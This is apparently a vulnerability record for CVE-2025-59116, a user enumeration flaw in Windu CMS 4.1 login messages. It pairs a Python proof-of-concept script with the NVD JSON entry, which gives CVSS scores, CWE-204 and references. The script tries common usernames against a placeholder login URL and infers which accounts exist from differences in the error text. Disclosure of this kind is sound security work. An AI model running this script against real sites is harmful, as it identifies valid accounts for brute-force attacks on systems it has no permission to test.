CVE-2025-59116

import requests import re target_url = "http://target.com/login" # Common usernames to test usernames = [ "admin", "user", "test", "guest", "administrator", "demo", "default", "master", "root", "operator" ] def test_user_enumeration(username): """Test if a username exists by analyzing response differences""" data = { "username": username, "password": "wrong_password_12345" } response = requests.post(target_url, data=data) # Analyze response to determine if username exists # Different messages indicate valid vs invalid usernames if "password" in response.text.lower() and "username" not in response.text.lower(): return True # Username exists (password error shown) elif "user" in response.text.lower() or "not found" in response.text.lower(): return False # Username does not exist return None def main(): print("Windu CMS User Enumeration PoC") print("Target:", target_url) print("-" * 50) valid_users = [] for username in usernames: result = test_user_enumeration(username) if result: print(f"[+] Valid username found: {username}") valid_users.append(username) elif result is False: print(f"[-] Invalid username: {username}") print("\n" + "=" * 50) print(f"Found {len(valid_users)} valid usernames") print("Valid users:", valid_users) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-59116", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:34.127", "lastModified": "2025-12-05T13:16:04.333", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windu CMS is vulnerable to User Enumeration. This issue occurs during logon, where a difference in messages could allow an attacker to determine if the login is valid or not, enabling a brute force attack with valid logins.\n\nOnly version 4.1 was tested and confirmed as vulnerable.\nThis issue was fixed in version 4.1 build 2250."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "614EBC19-889B-4FC0-8937-C52F415D4835"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-59110", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://windu.org", "source": "[email protected]", "tags": ["Product"]}]}}